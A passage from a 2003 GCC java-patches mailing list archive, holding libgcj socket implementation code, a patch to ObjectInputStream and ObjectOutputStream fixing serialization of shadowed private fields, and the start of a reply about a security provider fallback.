+ 1, &read_fds, NULL, NULL, &timeout_value); + // If select returns 0 we've waited without getting data... + // that means we've timed out. + if (sel_retval == 0) + throw new java::io::InterruptedIOException + (JvNewStringUTF ("read timed out") ); + // If select returns ok we know we either got signalled or read some data... + // either way we need to try to read. + } +#endif /* WIN32 */ + + int r = _Jv_read (fnum, &b, 1); + + if (r == 0) + return -1; + + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF("read interrupted")); + iioe->bytesTransferred = r == -1 ? 0 : r; + throw iioe; + } + else if (r == -1) + { + // Some errors cause us to return end of stream... + if (errno == ENOTCONN) + return -1; + + // Other errors need to be signalled. + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + + return b & 0xFF; +} + +// Read count bytes into the buffer, starting at offset. +jint +java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) +{ + if (! buffer) + throw new java::lang::NullPointerException; + + jsize bsize = JvGetArrayLength (buffer); + + if (offset < 0 || count < 0 || offset + count > bsize) + throw new java::lang::ArrayIndexOutOfBoundsException; + + jbyte *bytes = elements (buffer) + offset; + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + // Do timeouts via select. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + // Create the file descriptor set. + fd_set read_fds; + FD_ZERO (&read_fds); + FD_SET (fnum, &read_fds); + // Create the timeout struct based on our internal timeout value. + struct timeval timeout_value; + timeout_value.tv_sec = timeout / 1000; + timeout_value.tv_usec =(timeout % 1000) * 1000; + // Select on the fds. + int sel_retval = + _Jv_select (fnum + 1, &read_fds, NULL, NULL, &timeout_value); + // We're only interested in the 0 return. + // error returns still require us to try to read + // the socket to see what happened. + if (sel_retval == 0) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF ("read interrupted")); + iioe->bytesTransferred = 0; + throw iioe; + } + } +#endif + + // Read the socket. + int r = ::recv (fnum, (char *) bytes, count, 0); + + if (r == 0) + return -1; + + if (java::lang::Thread::interrupted()) + { + java::io::InterruptedIOException *iioe = + new java::io::InterruptedIOException + (JvNewStringUTF ("read interrupted")); + iioe->bytesTransferred = r == -1 ? 0 : r; + throw iioe; + } + else if (r == -1) + { + // Some errors cause us to return end of stream... + if (errno == ENOTCONN) + return -1; + + // Other errors need to be signalled. + throw new java::io::IOException (JvNewStringUTF (strerror (errno))); + } + + return r; +} + +// How many bytes are available? +jint +java::net::PlainSocketImpl::available(void) +{ +#if defined(FIONREAD) || defined(HAVE_SELECT) + long num = 0; + int r = 0; + bool num_set = false; + +#if defined(FIONREAD) + r = ::ioctl (fnum, FIONREAD, &num); + + if (r == -1 && errno == ENOTTY) + { + // If the ioctl doesn't work, we don't care. + r = 0; + num = 0; + } + else + num_set = true; +#elif defined(HAVE_SELECT) + if (fnum < 0) + { + errno = EBADF; + r = -1; + } +#endif + + if (r == -1) + { + posix_error: + throw new java::io::IOException(JvNewStringUTF(strerror(errno))); + } + + // If we didn't get anything we can use select. + +#if defined(HAVE_SELECT) + if (! num_set) + if (! num_set && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rd; + FD_ZERO (&rd); + FD_SET (fnum, &rd); + struct timeval tv; + tv.tv_sec = 0; + tv.tv_usec = 0; + r = _Jv_select (fnum + 1, &rd, NULL, NULL, &tv); + if(r == -1) + goto posix_error; + num = r == 0 ? 0 : 1; + } +#endif /* HAVE_SELECT */ + + return (jint) num; +#else + throw new java::io::IOException (JvNewStringUTF ("unimplemented")); +#endif +} + +void +java::net::PlainSocketImpl::setOption (jint optID, java::lang::Object *value) +{ + int val; + socklen_t val_len = sizeof (val); + + if (fnum < 0) + throw new java::net::SocketException (JvNewStringUTF ("Socket closed")); + + if (_Jv_IsInstanceOf (value, &java::lang::Boolean::class$)) + { + java::lang::Boolean *boolobj = + static_cast (value); + if (boolobj->booleanValue()) + val = 1; + else + { + if (optID == _Jv_SO_LINGER_) + val = -1; + else + val = 0; + } + } + else if (_Jv_IsInstanceOf (value, &java::lang::Integer::class$)) + { + java::lang::Integer *intobj = + static_cast (value); + val = (int) intobj->intValue(); + } + else + { + throw new java::lang::IllegalArgumentException ( + JvNewStringLatin1 ("`value' must be Boolean or Integer")); + } + + switch (optID) + { + case _Jv_TCP_NODELAY_ : +#ifdef TCP_NODELAY + if (::setsockopt (fnum, IPPROTO_TCP, TCP_NODELAY, (char *) &val, + val_len) != 0) + goto error; +#else + throw new java::lang::InternalError + (JvNewStringUTF ("TCP_NODELAY not supported")); +#endif /* TCP_NODELAY */ + return; + + case _Jv_SO_KEEPALIVE_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_KEEPALIVE, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_BROADCAST_ : + throw new java::net::SocketException + (JvNewStringUTF ("SO_BROADCAST not valid for TCP")); + break; + + case _Jv_SO_OOBINLINE_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_OOBINLINE, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_LINGER_ : +#ifdef SO_LINGER + struct linger l_val; + l_val.l_onoff = (val != -1); + l_val.l_linger = val; + + if (::setsockopt (fnum, SOL_SOCKET, SO_LINGER, (char *) &l_val, + sizeof(l_val)) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_LINGER not supported")); +#endif /* SO_LINGER */ + return; + + case _Jv_SO_SNDBUF_ : + case _Jv_SO_RCVBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::setsockopt (fnum, SOL_SOCKET, opt, (char *) &val, val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + return; + + case _Jv_SO_BINDADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_BINDADDR: read only option")); + return; + + case _Jv_IP_MULTICAST_IF_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF: not valid for TCP")); + return; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_LOOP: not valid for TCP")); + break; + + case _Jv_IP_TOS_ : + if (::setsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_REUSEADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_REUSEADDR: not valid for TCP")); + return; + + case _Jv_SO_TIMEOUT_ : + timeout = val; + return; + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +java::lang::Object * +java::net::PlainSocketImpl::getOption (jint optID) +{ + int val; + socklen_t val_len = sizeof(val); + union SockAddr u; + socklen_t addrlen = sizeof(u); + struct linger l_val; + socklen_t l_val_len = sizeof(l_val); + + switch (optID) + { +#ifdef TCP_NODELAY + case _Jv_TCP_NODELAY_ : + if (::getsockopt (fnum, IPPROTO_TCP, TCP_NODELAY, (char *) &val, + &val_len) != 0) + goto error; + else + return new java::lang::Boolean (val != 0); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("TCP_NODELAY not supported")); +#endif + break; + + case _Jv_SO_LINGER_ : +#ifdef SO_LINGER + if (::getsockopt (fnum, SOL_SOCKET, SO_LINGER, (char *) &l_val, + &l_val_len) != 0) + goto error; + + if (l_val.l_onoff) + return new java::lang::Integer (l_val.l_linger); + else + return new java::lang::Boolean ((jboolean)false); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("SO_LINGER not supported")); +#endif + break; + + case _Jv_SO_KEEPALIVE_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_KEEPALIVE, (char *) &val, + &val_len) != 0) + goto error; + else + return new java::lang::Boolean (val != 0); + + case _Jv_SO_BROADCAST_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean ((jboolean)val); + + case _Jv_SO_OOBINLINE_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_OOBINLINE, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean ((jboolean)val); + + case _Jv_SO_RCVBUF_ : + case _Jv_SO_SNDBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::getsockopt (fnum, SOL_SOCKET, opt, (char *) &val, &val_len) != 0) + goto error; + else + return new java::lang::Integer (val); +#else + throw new java::lang::InternalError + (JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + break; + case _Jv_SO_BINDADDR_: + // cache the local address + if (localAddress == NULL) + { + jbyteArray laddr; + + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) != 0) + goto error; + + if (u.address.sin_family == AF_INET) + { + laddr = JvNewByteArray (4); + memcpy (elements (laddr), &u.address.sin_addr, 4); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + laddr = JvNewByteArray (16); + memcpy (elements (laddr), &u.address6.sin6_addr, 16); + } +#endif + else + throw new java::net::SocketException + (JvNewStringUTF ("invalid family")); + localAddress = new java::net::InetAddress (laddr, NULL); + } + + return localAddress; + break; + case _Jv_IP_MULTICAST_IF_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_IF: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_IF2: not valid for TCP")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException + (JvNewStringUTF ("IP_MULTICAST_LOOP: not valid for TCP")); + break; + + case _Jv_IP_TOS_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Integer (val); + break; + + case _Jv_SO_REUSEADDR_ : + throw new java::net::SocketException + (JvNewStringUTF ("SO_REUSEADDR: not valid for TCP")); + break; + + case _Jv_SO_TIMEOUT_ : + return new java::lang::Integer (timeout); + break; + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainSocketImpl::shutdownInput (void) +{ + if (::shutdown (fnum, 0)) + throw new SocketException (JvNewStringUTF (strerror (errno))); +} + +void +java::net::PlainSocketImpl::shutdownOutput (void) +{ + if (::shutdown (fnum, 1)) + throw new SocketException (JvNewStringUTF (strerror (errno))); +} + +#endif /* DISABLE_JAVA_NET */ --Boundary-00=_FXZc+zEf2DNWspm-- From java-patches-return-6471-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 14 11:50:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23753 invoked by alias); 14 Mar 2003 11:50:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23576 invoked from network); 14 Mar 2003 11:50:42 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sources.redhat.com with SMTP; 14 Mar 2003 11:50:42 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18tnhO-0006ac-00 for ; Fri, 14 Mar 2003 12:50:06 +0100 Subject: FYI: ObjectStream fix for shadowed fields From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-7mhx0Qw5AsoLSLL++xFg" Organization: Message-Id: <1047642640.4905.50.camel@elsschot> Mime-Version: 1.0 Date: 14 Mar 2003 12:50:40 +0100 --=-7mhx0Qw5AsoLSLL++xFg Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, Jeroen his paperwork came through so I am applying this patch to branch and mainline (and Classpath if subversions.gnu.org ever completes a CVS update...). It cleans up the code a little bit and more importantly it fixes the bug (shown by Mauve and seen in actual code) we had when a class was shadowing a private field of one of the super classes. 2003-03-14 Jeroen Frijters * java/io/ObjectInputStream.java (readObject): Cleaned up the class hierarchy loop. (readFields(Object,ObjectStreamField[],boolean)): Changed argument list to Object,ObjectStreamClass, moved callReadMethod code up into readObject and added Class argument to all setXxxField calls. (callReadMethod): Changed Class argument to ObjectStreamClass to be consistent with ObjectOutputStream and to facilitate caching the Method in the future. (setBooleanField): Added Class argument. (setByteField): Likewise. (setCharField): Likewise. (setDoubleField): Likewise. (setFloatField): Likewise. (setIntField): Likewise. (setLongField): Likewise. (setShortField): Likewise. (setObjectField): Likewise. * java/io/ObjectOutputStream.java (writeObject): Cleaned up the class hierarchy loop. (defaultWriteObject): Call writeFields with new argument list. (writeFields(Object,ObjectStreamField[],boolean): Changed argument list to Object,ObjectStreamClass, moved callWriteMethod up into writeObject and added Class argument to all getXxxField calls. (callWriteMethod): Added ObjectStreamClass argument to be able to get the proper class to call getMethod on (each class can have (or not have) its own writeObject method). (getBooleanField): Added Class argument. (getByteField): Likewise. (getCharField): Likewise. (getDoubleField): Likewise. (getFloatField): Likewise. (getIntField): Likewise. (getLongField): Likewise. (getShortField): Likewise. (getObjectField): Likewise. * java/io/ObjectStreamClass.java (hasReadMethod): Added method to facilitate caching the Method object in the future. Cheers, Mark --=-7mhx0Qw5AsoLSLL++xFg Content-Disposition: inline; filename=ObjectStream.patch Content-Type: text/x-patch; name=ObjectStream.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/io/ObjectInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectInputStream.java,v retrieving revision 1.15 diff -u -r1.15 ObjectInputStream.java --- java/io/ObjectInputStream.java 1 Mar 2003 15:05:46 -0000 1.15 +++ java/io/ObjectInputStream.java 14 Mar 2003 11:46:56 -0000 @@ -368,35 +368,24 @@ ObjectStreamClass[] hierarchy = ObjectStreamClass.getObjectStreamClasses (clazz); - boolean has_read; for (int i=0; i < hierarchy.length; i++) { this.currentObjectStreamClass = hierarchy[i]; dumpElementln ("Reading fields of " + this.currentObjectStreamClass.getName ()); - - has_read = true; - - try - { - this.currentObjectStreamClass.forClass (). - getDeclaredMethod ("readObject", readObjectParams); - } - catch (NoSuchMethodException e) - { - has_read = false; - } // XXX: should initialize fields in classes in the hierarchy // that aren't in the stream // should skip over classes in the stream that aren't in the // real classes hierarchy - readFields (obj, this.currentObjectStreamClass.fields, - has_read, this.currentObjectStreamClass); - - if (has_read) + + if (this.currentObjectStreamClass.hasReadMethod()) { + fieldsAlreadyRead = false; + boolean oldmode = setBlockDataMode (true); + callReadMethod (obj, this.currentObjectStreamClass); + setBlockDataMode (oldmode); dumpElement ("ENDBLOCKDATA? "); try { @@ -415,6 +404,10 @@ dumpElementln ("no, got IOException"); } } + else + { + readFields (obj, currentObjectStreamClass); + } } this.currentObject = null; @@ -487,9 +480,7 @@ throw new NotActiveException ("defaultReadObject called but fields already read from stream (by defaultReadObject or readFields)"); boolean oldmode = setBlockDataMode(false); - readFields (this.currentObject, - this.currentObjectStreamClass.fields, - false, this.currentObjectStreamClass); + readFields (this.currentObject, this.currentObjectStreamClass); setBlockDataMode(oldmode); fieldsAlreadyRead = true; @@ -1220,20 +1211,10 @@ } - private void readFields (Object obj, ObjectStreamField[] stream_fields, - boolean call_read_method, - ObjectStreamClass stream_osc) + private void readFields (Object obj, ObjectStreamClass stream_osc) throws ClassNotFoundException, IOException { - if (call_read_method) - { - fieldsAlreadyRead = false; - boolean oldmode = setBlockDataMode (true); - callReadMethod (obj, stream_osc.forClass ()); - setBlockDataMode (oldmode); - return; - } - + ObjectStreamField[] stream_fields = stream_osc.fields; ObjectStreamField[] real_fields = ObjectStreamClass.lookup (stream_osc.forClass ()).fields; @@ -1299,7 +1280,7 @@ if (!default_initialize && set_value) dumpElementln (" " + field_name + ": " + value); if (set_value) - setBooleanField (obj, field_name, value); + setBooleanField (obj, stream_osc.forClass (), field_name, value); } else if (type == Byte.TYPE) { @@ -1308,7 +1289,7 @@ if (!default_initialize && set_value) dumpElementln (" " + field_name + ": " + value); if (set_value) - setByteField (obj, field_name, value); + setByteField (obj, stream_osc.forClass (), field_name, value); } else if (type == Character.TYPE) { @@ -1317,7 +1298,7 @@ if (!default_initialize && set_value) dumpElementln (" " + field_name + ": " + value); if (set_value) - setCharField (obj, field_name, value); + setCharField (obj, stream_osc.forClass (), field_name, value); } else if (type == Double.TYPE) { @@ -1326,7 +1307,7 @@ if (!default_initialize && set_value) dumpElementln (" " + field_name + ": " + value); if (set_value) - setDoubleField (obj, field_name, value); + setDoubleField (obj, stream_osc.forClass (), field_name, value); } else if (type == Float.TYPE) { @@ -1335,7 +1316,7 @@ if (!default_initialize && set_value) dumpElementln (" " + field_name + ": " + value); if (set_value) - setFloatField (obj, field_name, value); + setFloatField (obj, stream_osc.forClass (), field_name, value); } else if (type == Integer.TYPE) { @@ -1344,7 +1325,7 @@ if (!default_initialize && set_value) dumpElementln (" " + field_name + ": " + value); if (set_value) - setIntField (obj, field_name, value); + setIntField (obj, stream_osc.forClass (), field_name, value); } else if (type == Long.TYPE) { @@ -1353,7 +1334,7 @@ if (!default_initialize && set_value) dumpElementln (" " + field_name + ": " + value); if (set_value) - setLongField (obj, field_name, value); + setLongField (obj, stream_osc.forClass (), field_name, value); } else if (type == Short.TYPE) { @@ -1362,14 +1343,14 @@ if (!default_initialize && set_value) dumpElementln (" " + field_name + ": " + value); if (set_value) - setShortField (obj, field_name, value); + setShortField (obj, stream_osc.forClass (), field_name, value); } else { Object value = default_initialize ? null : readObject (); if (set_value) - setObjectField (obj, field_name, + setObjectField (obj, stream_osc.forClass (), field_name, real_field.getTypeString (), value); } } @@ -1451,8 +1432,9 @@ return klass.getDeclaredMethod(name, args); } - private void callReadMethod (Object obj, Class klass) throws IOException + private void callReadMethod (Object obj, ObjectStreamClass osc) throws IOException { + Class klass = osc.forClass(); try { Class classArgs[] = {ObjectInputStream.class}; @@ -1486,12 +1468,11 @@ private native void callConstructor (Class clazz, Object obj); - private void setBooleanField (Object obj, String field_name, + private void setBooleanField (Object obj, Class klass, String field_name, boolean val) { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); f.setAccessible(true); f.setBoolean (obj, val); @@ -1501,12 +1482,11 @@ } } - private void setByteField (Object obj, String field_name, + private void setByteField (Object obj, Class klass, String field_name, byte val) { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); f.setAccessible(true); f.setByte (obj, val); @@ -1516,12 +1496,11 @@ } } - private void setCharField (Object obj, String field_name, + private void setCharField (Object obj, Class klass, String field_name, char val) { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); f.setAccessible(true); f.setChar (obj, val); @@ -1531,12 +1510,11 @@ } } - private void setDoubleField (Object obj, String field_name, + private void setDoubleField (Object obj, Class klass, String field_name, double val) { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); f.setAccessible(true); f.setDouble (obj, val); @@ -1546,12 +1524,11 @@ } } - private void setFloatField (Object obj, String field_name, + private void setFloatField (Object obj, Class klass, String field_name, float val) { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); f.setAccessible(true); f.setFloat (obj, val); @@ -1561,12 +1538,11 @@ } } - private void setIntField (Object obj, String field_name, + private void setIntField (Object obj, Class klass, String field_name, int val) { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); f.setAccessible(true); f.setInt (obj, val); @@ -1577,12 +1553,11 @@ } - private void setLongField (Object obj, String field_name, + private void setLongField (Object obj, Class klass, String field_name, long val) { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); f.setAccessible(true); f.setLong (obj, val); @@ -1593,12 +1568,11 @@ } - private void setShortField (Object obj, String field_name, + private void setShortField (Object obj, Class klass, String field_name, short val) { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); f.setAccessible(true); f.setShort (obj, val); @@ -1609,12 +1583,11 @@ } - private void setObjectField (Object obj, String field_name, String type_code, + private void setObjectField (Object obj, Class klass, String field_name, String type_code, Object val) { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); f.setAccessible(true); // FIXME: We should check the type_code here Index: java/io/ObjectOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectOutputStream.java,v retrieving revision 1.12 diff -u -r1.12 ObjectOutputStream.java --- java/io/ObjectOutputStream.java 1 Mar 2003 15:05:46 -0000 1.12 +++ java/io/ObjectOutputStream.java 14 Mar 2003 11:46:56 -0000 @@ -354,16 +354,20 @@ ObjectStreamClass[] hierarchy = ObjectStreamClass.getObjectStreamClasses (clazz); - boolean has_write; for (int i=0; i < hierarchy.length; i++) { currentObjectStreamClass = hierarchy[i]; fieldsAlreadyWritten = false; - has_write = currentObjectStreamClass.hasWriteMethod (); - - writeFields (obj, currentObjectStreamClass.fields, - has_write); + if (currentObjectStreamClass.hasWriteMethod ()) + { + setBlockDataMode (true); + callWriteMethod (obj, currentObjectStreamClass); + setBlockDataMode (false); + realOutput.writeByte (TC_ENDBLOCKDATA); + } + else + writeFields (obj, currentObjectStreamClass); } currentObject = null; @@ -424,7 +428,7 @@ throws IOException, NotActiveException { markFieldsWritten (); - writeFields (currentObject, currentObjectStreamClass.fields, false); + writeFields (currentObject, currentObjectStreamClass); } @@ -1145,22 +1149,12 @@ } - // writes out FIELDS of OBJECT. If CALL_WRITE_METHOD is true, use - // object's writeObject (ObjectOutputStream), otherwise use default - // serialization. FIELDS are already in canonical order. - private void writeFields (Object obj, - ObjectStreamField[] fields, - boolean call_write_method) throws IOException + // writes out FIELDS of OBJECT for the specified ObjectStreamClass. + // FIELDS are already in canonical order. + private void writeFields (Object obj, ObjectStreamClass osc) + throws IOException { - if (call_write_method) - { - setBlockDataMode (true); - callWriteMethod (obj); - setBlockDataMode (false); - realOutput.writeByte (TC_ENDBLOCKDATA); - return; - } - + ObjectStreamField[] fields = osc.fields; boolean oldmode = setBlockDataMode (false); String field_name; Class type; @@ -1170,23 +1164,23 @@ type = fields[i].getType (); if (type == Boolean.TYPE) - realOutput.writeBoolean (getBooleanField (obj, field_name)); + realOutput.writeBoolean (getBooleanField (obj, osc.forClass(), field_name)); else if (type == Byte.TYPE) - realOutput.writeByte (getByteField (obj, field_name)); + realOutput.writeByte (getByteField (obj, osc.forClass(), field_name)); else if (type == Character.TYPE) - realOutput.writeChar (getCharField (obj, field_name)); + realOutput.writeChar (getCharField (obj, osc.forClass(), field_name)); else if (type == Double.TYPE) - realOutput.writeDouble (getDoubleField (obj, field_name)); + realOutput.writeDouble (getDoubleField (obj, osc.forClass(), field_name)); else if (type == Float.TYPE) - realOutput.writeFloat (getFloatField (obj, field_name)); + realOutput.writeFloat (getFloatField (obj, osc.forClass(), field_name)); else if (type == Integer.TYPE) - realOutput.writeInt (getIntField (obj, field_name)); + realOutput.writeInt (getIntField (obj, osc.forClass(), field_name)); else if (type == Long.TYPE) - realOutput.writeLong (getLongField (obj, field_name)); + realOutput.writeLong (getLongField (obj, osc.forClass(), field_name)); else if (type == Short.TYPE) - realOutput.writeShort (getShortField (obj, field_name)); + realOutput.writeShort (getShortField (obj, osc.forClass(), field_name)); else - writeObject (getObjectField (obj, field_name, + writeObject (getObjectField (obj, osc.forClass(), field_name, fields[i].getTypeString ())); } setBlockDataMode (oldmode); @@ -1212,9 +1206,9 @@ } - private void callWriteMethod (Object obj) throws IOException + private void callWriteMethod (Object obj, ObjectStreamClass osc) throws IOException { - Class klass = obj.getClass (); + Class klass = osc.forClass(); try { Class classArgs[] = {ObjectOutputStream.class}; @@ -1243,12 +1237,11 @@ } } - private boolean getBooleanField (Object obj, String field_name) + private boolean getBooleanField (Object obj, Class klass, String field_name) throws IOException { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); boolean b = f.getBoolean (obj); return b; @@ -1259,11 +1252,10 @@ } } - private byte getByteField (Object obj, String field_name) throws IOException + private byte getByteField (Object obj, Class klass, String field_name) throws IOException { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); byte b = f.getByte (obj); return b; @@ -1274,11 +1266,10 @@ } } - private char getCharField (Object obj, String field_name) throws IOException + private char getCharField (Object obj, Class klass, String field_name) throws IOException { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); char b = f.getChar (obj); return b; @@ -1289,12 +1280,11 @@ } } - private double getDoubleField (Object obj, String field_name) + private double getDoubleField (Object obj, Class klass, String field_name) throws IOException { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); double b = f.getDouble (obj); return b; @@ -1305,12 +1295,11 @@ } } - private float getFloatField (Object obj, String field_name) + private float getFloatField (Object obj, Class klass, String field_name) throws IOException { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); float b = f.getFloat (obj); return b; @@ -1321,11 +1310,10 @@ } } - private int getIntField (Object obj, String field_name) throws IOException + private int getIntField (Object obj, Class klass, String field_name) throws IOException { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); int b = f.getInt (obj); return b; @@ -1336,11 +1324,10 @@ } } - private long getLongField (Object obj, String field_name) throws IOException + private long getLongField (Object obj, Class klass, String field_name) throws IOException { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); long b = f.getLong (obj); return b; @@ -1351,12 +1338,11 @@ } } - private short getShortField (Object obj, String field_name) + private short getShortField (Object obj, Class klass, String field_name) throws IOException { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); short b = f.getShort (obj); return b; @@ -1367,12 +1353,11 @@ } } - private Object getObjectField (Object obj, String field_name, + private Object getObjectField (Object obj, Class klass, String field_name, String type_code) throws IOException { try { - Class klass = obj.getClass (); Field f = getField (klass, field_name); Object o = f.get (obj); // FIXME: We should check the type_code here Index: java/io/ObjectStreamClass.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectStreamClass.java,v retrieving revision 1.11 diff -u -r1.11 ObjectStreamClass.java --- java/io/ObjectStreamClass.java 20 Jan 2003 06:46:28 -0000 1.11 +++ java/io/ObjectStreamClass.java 14 Mar 2003 11:46:56 -0000 @@ -194,6 +194,28 @@ // Returns true iff the class that this ObjectStreamClass represents + // has the following method: + // + // private void readObject (ObjectOutputStream) + // + // This method is used by the class to override default + // serialization behavior. + boolean hasReadMethod () + { + try + { + Class[] readObjectParams = { ObjectInputStream.class }; + forClass ().getDeclaredMethod ("readObject", readObjectParams); + return true; + } + catch (NoSuchMethodException e) + { + return false; + } + } + + + // Returns true iff the class that this ObjectStreamClass represents // implements Serializable but does *not* implement Externalizable. boolean isSerializable () { --=-7mhx0Qw5AsoLSLL++xFg-- From java-patches-return-6472-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 14 13:44:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8013 invoked by alias); 14 Mar 2003 13:44:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7938 invoked from network); 14 Mar 2003 13:44:54 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sources.redhat.com with SMTP; 14 Mar 2003 13:44:54 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18tpTn-0006nr-00; Fri, 14 Mar 2003 14:44:11 +0100 Subject: Re: Security provider fallback From: Mark Wielaard To: tromey@redhat.com Cc: java-patches@gcc.gnu.org In-Reply-To: <87adg98bvm.fsf@fleche.redhat.com> References: <1046629565.19771.561.camel@elsschot> <87adg98bvm.fsf@fleche.redhat.com> Content-Type: text/plain Organization: Message-Id: <1047649484.4906.84.camel@elsschot> Mime-Version: 1.0 Date: 14 Mar 2003 14:44:44 +0100 Content-Transfer-Encoding: 7bit Hi, On Thu, 2003-03-06 at 03:30, Tom Tromey wrote: > >>>>> "Mark" == Mark Wielaard writes: > > Mark> The following prints a warning when non of the security provider files > Mark> could be read or non of them contain any valid entries and falls back to > Mark> the standard Gnu provider. If the security provider files do exist, but > Mark> just don't contain any provider the user gets what was asked for. > > Mark> This helps in situations where the security file is missing or not > Mark> correctly installed (which seems to happen often with VMs). It also > Mark> fixes a couple of Mauve failures that would happen if you did a make > Mark> check without a make install first (and no old installation was > Mark> available) like most autobuilders do. > > My first inclination is not to do this. The class library is a > library; printing to stderr like this is a bit unfriendly. It seems > to violate the bounds of what a library ought to do. Our garbage collector does it in extreme situations. But I can leave out the warning messages. The important bit is the fallback to a default security manager if everything goes wrong (see below). Would the patch be OK without the warnings? > I'd like to know more about the situation that lead up to this patch. > I assume you ran into some trouble? I don't like to say "no", but at > least in this case I need to be convinced. In some situations where the VM (not just libgcj, but also other VMs based on GNU Classpath) is not completely/correctly installed the security provider file (actually resource) cannot be found/loaded correctly. If that happens there are no Security providers and a couple of things that really need such provider or a standard algorithm breaks. (This can be seen with Mauve if you do not yet have an installation in your $installdir and just do a make && make check. The patch fixes the following Mauve failures that my autobuilder shows (which doesn't do a make install before doing make check): FAIL: gnu.testlet.java.security.SecureRandom.Instance: uncaught exception at number 1: java.lang.InternalError: no SHA implementation found FAIL: 